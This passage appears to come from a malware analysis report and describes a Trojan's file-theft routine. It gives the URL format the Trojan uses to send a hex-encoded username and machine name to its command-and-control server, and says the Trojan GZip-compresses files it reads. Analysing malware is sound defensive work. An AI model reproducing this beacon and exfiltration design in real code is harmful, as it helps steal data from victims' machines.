If the file does not exist, the Trojan will send the C2 server a message < File Not Found > by sending the following URL:http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(“< File Not Found >”)> If the file exists, the Trojan will read the contents of the specified file and compresses the contents using the GZipStream class